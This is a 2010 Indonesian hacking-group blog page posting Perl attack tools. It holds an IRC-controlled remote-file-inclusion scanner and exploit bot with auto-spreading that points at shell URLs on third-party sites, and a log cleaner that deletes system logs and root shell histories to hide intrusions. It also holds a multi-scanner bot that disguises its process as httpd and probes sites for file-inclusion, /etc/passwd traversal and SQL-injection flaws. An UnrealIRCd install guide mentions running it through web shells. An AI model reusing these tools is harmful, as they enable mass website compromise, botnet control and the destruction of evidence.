JATIM COMMUNITY

source bot feelscan 5.4

2010-11-25T11:36:00.000-08:00

#!/usr/bin/perl
print('
##################################################
## FeeLCoMz RFI Scanner Bot v5.4 (FeeLScaNz.pl) ##
## By FaTaLisTiCz_Fx ##
## � Agu 2008 - Sep 2009, FeeLCoMz Community ##
##################################################
');
######################################################
## Usage: ##
## perl feelscanz.pl ##
## ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
## + MD5 Crack Search ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thx to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thx to BLood_roSE)
## + Added spread configuration (v5.0)
## + Updated search engines (v5.1)
## + Added HTTP Error handler for search engines (v5.2)
## + Added more search engines (v5.3) (thx to kaMtiEz, arianom, tukulesto, & Mask_Magician)
## + Added md5 hash & crack tool (v5.4)
#############################################################
## Greets: ##
## JavaHack, RoseBanditz, Kill-9, Hacker-Newbie, JatimCrew ##
#############################################################

use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $versi = "v5.4";
my $cmdpre = "!"; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id = "http://udon.nfe.go.th/images/id1?"; #Fx29ID1 (Simple) / (Advanced)
my $fx29id2 = "http://udon.nfe.go.th/images/id2?"; #Fx29ID2 (Advanced)
my $fx29sh = "http://www.aneka-asia.com/sendang-art/shell???"; #Fx29Sh (Optional)
my $bypass = "http://jatimcom.shell.la/id/google.php?"; #Googlerz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite = "http://jatimcom.uni.cc/irc/"; #Path to Sources URL (Optional)
my $spread = "http://www.aneka-asia.com/sendang-art/jcom???"; #Fx29Spreadz (Optional)
my $joomlaz = "http://www.aneka-asia.com/sendang-art/joomla.txt?"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.jatimcom.info"); #IRC Servers (Separated by coma)
my %bot = (
nick => "FeeLScaNz[".int(rand(100))."]",
ident => "Felc".int(rand(100)),
chan => ["#jatimcom"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "7000"
);

##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
cimpli => {
pass => 'cimpli',
status => "admin",
cryptz => 0,
login => 0
},
);

##[ KONFIGURASI SPY ]##
my %spy = (
host => "", #Channels to show spied text
chanz => [""], #Channels to spy (Separated by coma)
wordz => ['http://.+?[=]', 'ftp://.+?'], #Text to spy (Regex, Separated by coma)
foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
showsite => 1, #Show link to debug channel (Yes/No)
linez => 4, #Lines per message
sleepz => 3, #Message delay per linez (seconds)
rfipid => 35, #Sites per proccess
rficnt => 100, #Counter setting
rficnt2 => 200, #Counter setting
timeout => 4, #Http socket time out
);

Download In Here

Instal Unreal IRCD Linux

2010-03-01T08:27:00.000-08:00

Menginstal unreal sebenarnya mudah saja, bahkan menurut saya fitur2 nya lebih lengkap di bandingkan jenis IRCD yg lainnya, berikut saya berikan sedikit tutorial menginstal IRCD lewat ssh dengan Unreal versi 3.2.8 :

- masuk ke shells user account anda, kemudian berikan command :
[user@kill-9] wget http://jatimcom.uni.cc/irc/linux.tgz

- extract file tersebut :
[user@kill-9] tar zxvf linux.tgz;rm -f linux.tgz

-masuk ke direktory unreal :
[user@kill-9] cd Unreal

- lakukan proses configurasi :
[user@kill-9/Unreal] ./Config
_ _ _ ___________ _____ _
| | | | | |_ _| ___ \/ __ \ | |
| | | |_ __ _ __ ___ __ _| | | | | |_/ /| / \/ __| |
| | | | '_ \| '__/ _ \/ _ | | | | | / | | / _ |
| |_| | | | | | | __/ (_| | |_| |_| |\ \ | \__/\ (_| |
\___/|_| |_|_| \___|\__,_|_|\___/\_| \_| \____/\__,_|

Configuration Program
for Unreal3.2.8

This program will help you to compile your IRC server, and ask you
questions regarding the compile-time settings of it during the process.
regarding the setup of it, during the process.

If you have problems regarding the setup & compile, read Unreal.nfo to get
more information on where to get help. Please, before running this setup,
read the documentation in the "doc" folder. Docs are also avail online @
http://www.unrealircd.com/unreal32docs.html

[Enter to continue] Enter

Installing 17% <-- tekan enter seterusnya sampai 100% terdapat beberapa pilihan : ==[ ADDITIONAL INFO ]== * See ChangeLog [Enter to continue] Do you want to enable the server anti-spoof protection? [No] -> enter
What directory are all the server configuration files in?
[/usr/local/username/Unreal/] -> enter
What is the path to the ircd binary including the name of the binary?
[/usr/local/username/Unreal/src/ircd] -> enter
Would you like to compile as a hub or as a leaf?
Type Hub to select hub and Leaf to select leaf.
[Hub] -> enter
What is the hostname of the server running your IRCd? -> enter
What should the default permissions for your configuration files be? (Set this to 0 to disable)
It is strongly recommended that you use 0600 to prevent unwanted reading of the file
[0600] - > enter
Do you want to support SSL (Secure Socket Layer) connections?
[No] -> enter
Do you want to enable IPv6 support?
[No] -> enter
Do you want to enable ziplinks support?
[No] -> enter
Do you want to enable remote includes?
[No] -> enter
Do you want to enable prefixes for chanadmin and chanowner?
This will give +a the & prefix and ~ for +q (just like +o is @)
Supported by the major clients (mIRC, xchat, epic, eggdrop, Klient, PJIRC, etc.) with the notable exceptions of irssi, KVIrc and CGI:IRC.
This feature should be enabled/disabled network-wide.
[No] -> enter
What listen() backlog value do you wish to use? Some older servers
have problems with more than 5, others work fine with many more.
[5] -> enter
How far back do you want to keep the nickname history?
[2000] -> enter
What is the maximum sendq length you wish to have?
[3000000] -> enter
How many buffer pools would you like?
This number will be multiplied by MAXSENDQLENGTH.
[18] -> enter
How many file descriptors (or sockets) can the IRCd use?
[1024] -> enter
Would you like any more parameters to configure?
Write them here:
[] -> enter

setelah tahapan diatas, akan muncul :
Now all you have to do is type 'make' and let it compile. When that's done, you will receive other instructions on what to do next.
_______________________________________________________________________
| |
| UnrealIRCd Compile-Time Config |
|_______________________________________________________________________|
|_______________________________________________________________________|
| |
| Now all you have to do is type 'make' and let it compile. When that's |
| done, you will receive other instructions on what to do next. |
| |
|_______________________________________________________________________|
|_______________________________________________________________________|
| - The UnrealIRCd Team - |
| |
| * Stskeeps stskeeps@unrealircd.com |
| * codemastr codemastr@unrealircd.com |
| * Syzop syzop@unrealircd.com |
|_______________________________________________________________________|

-maka ketik :
[user@kill-9/Unreal] make
__________________________________________________
| Compile is now complete. |
| You should now read the documentation and learn |
| how to configure your IRCd. |
| |
| If you really like UnrealIRCd, and would like to |
| make a donation, please read the Donation file in|
| this archive. :) |
| |
| Thanks for using Unreal IRCd! If you are in need |
| for any kind of help regarding the IRCd please |
| read the Unreal.nfo file. |
|__________________________________________________|

proses instalasi akan berjalan, untuk menyempurnakan proses compile ircd, lanjutkan dengan menjalankan perintah :
[user@kill-9/Unreal] make install
__________________________________________________
| Compile is now complete. |
| You should now read the documentation and learn |
| how to configure your IRCd. |
| |
| If you really like UnrealIRCd, and would like to |
| make a donation, please read the Donation file in|
| this archive. :) |
| |
| Thanks for using Unreal IRCd! If you are in need |
| for any kind of help regarding the IRCd please |
| read the Unreal.nfo file. |
|__________________________________________________|

- seeep, skrg tinggal mengedit file unrealircd.conf nya, lakukan perintah :
[user@kill-9/Unreal] pico unrealircd.conf

lakukan proses edit, bagian admin, server, connetc serta opernya, akan lebih mudah mengedit menggunakan program winscp.

-baiklah, saya anggap sudah selesai di edit, skrg tinggal menggunakan jurus run :
[user@kill-9/Unreal] ./unreal start
Starting UnrealIRCd
_ _ _ ___________ _____ _
| | | | | |_ _| ___ \/ __ \ | |
| | | |_ __ _ __ ___ __ _| | | | | |_/ /| / \/ __| |
| | | | '_ \| '__/ _ \/ _` | | | | | / | | / _` |
| |_| | | | | | | __/ (_| | |_| |_| |\ \ | \__/\ (_| |
\___/|_| |_|_| \___|\__,_|_|\___/\_| \_| \____/\__,_|
v3.2.8
using TRE 0.7.5 (LGPL)

* Loading IRCd configuration ..
* Configuration loaded without any problems ..
* Dynamic configuration initialized .. booting IRCd.
---------------------------------------------------------------------

DONE GOOD JOB :D

pada intinya commandnya hannya
./Config
make
make install
./unreal start

Ctt.
hanya berjalan pada linux dan keluarga UNIX lainya
proses penginstalan dapat dilakukan meskipun tidak lewat ssh atau hanya lewat r57/c99/c100 atau gak harus root user biasa pun bisa
progam di atas hanya install server irc saja belom termasuk servicesnya

Copyright @ KILL-9

Log Clear

2010-02-20T09:45:00.000-08:00

#!usr/bin/perl -w #Warnings enabled!
#Log cleaner for Public
#Report bugs to admin@jatimcom.uni.cc
#NOTE - YOU MUST BE ROOT!
print ('
############################
# Log Cleaner 1.0 PUBLIC #
# Jcomers #
# Nothing Is Impossible #
# http://jatimcom.uni.cc/ #
############################
');
while(1) {
print "Enter Which OS: "; #User Input
chomp($os = <STDIN>); #Takes it into memory

if($os eq "help"){
print "[+]Enter Your OS! Choose from 'linux', 'aix', 'sunos', 'irix'\n";
print "[+]Hit enter with OS, Let the script do its work\n";
print "[+]Note: You MUST Be Root!\n";
print "[+]Visit http://jatimcom.uni.cc/\n";
print "[+] - Jcomers\n";
}

if($os eq "linux"){ #If linux typed, do the following and start brackets
foreach my $logphile(@linux) {
unlink($logphile) || print "[-]Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "sunos"){ #If sunos typed, do the following and start brackets
foreach my $logphile(@sunos) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "aix"){ #If aix typed, do the following and start brackets
foreach my $logphile(@aix) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "irix"){ #If irix typed, do the following and start bracket
foreach my $logphile(@irix) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}

} else { print"Umm WTF !?\n"; }

#Logs of Irix Systems

{ #Start Irix Bracket
@irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
"/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
"/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
"/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
"/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
"/var/adm/crash/unix") #End Array
} #End Irix Bracket
#Log sof Aix Systems
{ #Start Aix Bracket
@aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
"/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
"/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
"/etc/security/failedlogin", "usr/spool/mqueue/syslog") #End Array
} #End Aix Bracket
#Logs of SunOS Systems
{ #Start SunOS Bracket
@sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
"/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
"/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
"/var/adm/log/asppp.log", "/var/log/syslog",
"/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
"/var/lp/logs/lpsched", "/var/lp/logs/requests",
"/var/cron/logs", "/var/saf/_log", "/var/saf/port/log") #End Array
} #End Sunos bracket
#Logs of Linux Systems
{ #Start Linux Bracket
@linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
"/var/log/secure","/root/.ksh_history", "/root/.bash_history",
"/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
"/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
"/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
"/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
"/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
"/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
"/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
"/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
"/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice",
"/var/log/news/suck.err", "/var/log/news/suck.notice",
"/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
"/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
"/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
"/var/log/auth") #End array
} #End linux bracket

} #Ends Loop

New Multi Scanner

2010-02-20T09:33:00.000-08:00

#!/usr/bin/perl
print('
###################################
# Jatimcom Multi Scanner #
# Moded By Jcommers #
# Copyleft Â© 2010 Jatimcom #
###################################
');
##################################################
## Usage: ##
## perl file.pl ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + SQL Scanner ##
## + ASP Scanner ##
## + MD5 Crack & Encript ##
## + Dont Forget To Cek http://jatimcom.uni.cc/ ##
##################################################

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
#################################################

my $fakeproc = "/usr/local/apache/bin/httpd";
my $ircserver = "irc.jatimcom.us";
my $ircport = "7000";
my $nickname = "MULTI[scan]";
my $ident = "Jatimcom";
my $channel = '#jatimcom';
my $runner = "cimpli";
my $fullname = ' 10( 14@ 10Jatimcom-Multi-Scanner 10) ';
#################################################

my $injector = "http://acscc.com//forum/cache/id/idmulti?";
my $phpshell = "http://www.sanvan.net/new/newzz.txt??";
my $rficmd = '!rfi';
my $lficmd = '!lfi';
my $sqlcmd = '!sql';
my $aspcmd = '!asp';
my $alicmd = '!log';
my $encrypt = '!enc';
my $decrypt = '!dec';
my $zipcmd = '!zip';
my $ipcmd = '!ip';
my $hostcmd = '!host';
$rfi_result = "JaTimcoM";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$sql_output = ("Query failed|Query Error|right syntax to use near");
$asp_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation|Unclosed quotation mark before the character string ''");
#################################################

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

chdir("/");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();

sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
#################################################

sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}
#################################################

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION Jatimcom Multi Scaner\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick|".int rand(999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $nickname +Bx");
sendraw("JOIN $channel");
sendraw("PRIVMSG $channel :JaTimCom Scanner Ready");
sendraw("PRIVMSG $runner :Hi $runner im here !!!");
}
}
#################################################

my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;

#####################################################################
############################[ CMD LIST ]#############################
#####################################################################

if ($msg=~ /PRIVMSG $channel :!help/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $rficmd <bug> <dork> | $lficmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $sqlcmd | $aspcmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $encrypt <text> | $decrypt <hash> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Apache Log Injection : $alicmd <host> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 !id | !engine | !pid | !version | !about ");
}

if ($msg=~ /PRIVMSG $channel :!id/){
&response();
}

if ($msg=~ /PRIVMSG $channel :!version/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 New Jatimcom Multi ScanNer ");
}

if ($msg=~ /PRIVMSG $channel :!engine/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo. ");
}

if ($msg=~ /PRIVMSG $channel :!pid/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Process/ID : 4 $fakeproc - $$ ");
}

if ($msg=~ /PRIVMSG $channel :!about/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 JATIMCOM MULTI ScanNer ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Moded by Jcommers - http://jatimcom.uni.cc/ ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Copyleft Â© 2010 Jatim Community ");
}

##################################################################### GDataOnline.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14-> 3 ".$result);
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14not found."); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open GDataOnline.cOm "); }
}
exit;
}}

##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14-> 3 ".$result);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14not found.");
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open Md5.RedNoize.cOm "); }
}
exit;
}}

##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hash
if ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $teks=$1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Trying to encrypt 14 ".$teks." 10... ");
my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
my $request = HTTP::Request->new(GET=>$hashing);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
my ($md5,$sha1,$base64) = ($1,$2,$3);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 MD5 : 14 ".$teks." 10-> 3 ".$md5);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Sha1 : 14 ".$teks." 10-> 3 ".$sha1);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Base64 : 14 ".$teks." 10-> 3 ".$base64);
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open c0li.m0de.0n "); }
}
exit;
}}
#####################################################################

if ($msg=~ /PRIVMSG $channel :$hostcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ipaddr = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Domain in 7 ".$ipaddr." 12Host ... ");
my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";
my $res = getcontent($hashing);
while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {
my $dns1 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns1);
sleep(2);
}
while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {
my $dns2 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns2);
sleep(2);
}
if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {
if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {
$mydns = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$mydns);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 7-> 4 Bad Domain.");
}
}
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Listing of Domain in 4 ".$ipaddr." 12is Done.");
}
exit;
}}
#####################################################################

if ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 19) 14 Searching 7 ".$ip." 12Location ... ");
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 IP Address : 3 ".$ipaddress." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 City : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Country : 3 ".$country." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Continent : 3 ".$continent." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 $ip 12-> 4Invalid address or IP not found. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Cannot open www.ipligence.com "); }
}
exit;
}}

##################################################################### US ZIP Lookup www.ZIPInfo.com
if ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $zip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14US-ZIP 14) 10 Looking up 14 ".$zip." 10ZIP Code ... ");
my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Nama Kota : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode State: 3 ".$state." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode ZIP : 3 ".$zipcode." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Kota : 3 ".$county." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Area : 3 ".$area." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 $zip 3is not a valid ZIP code. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Cannot open www.ZIPInfo.com "); }
}
exit;
}}
#####################################################################
###############################[ RFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

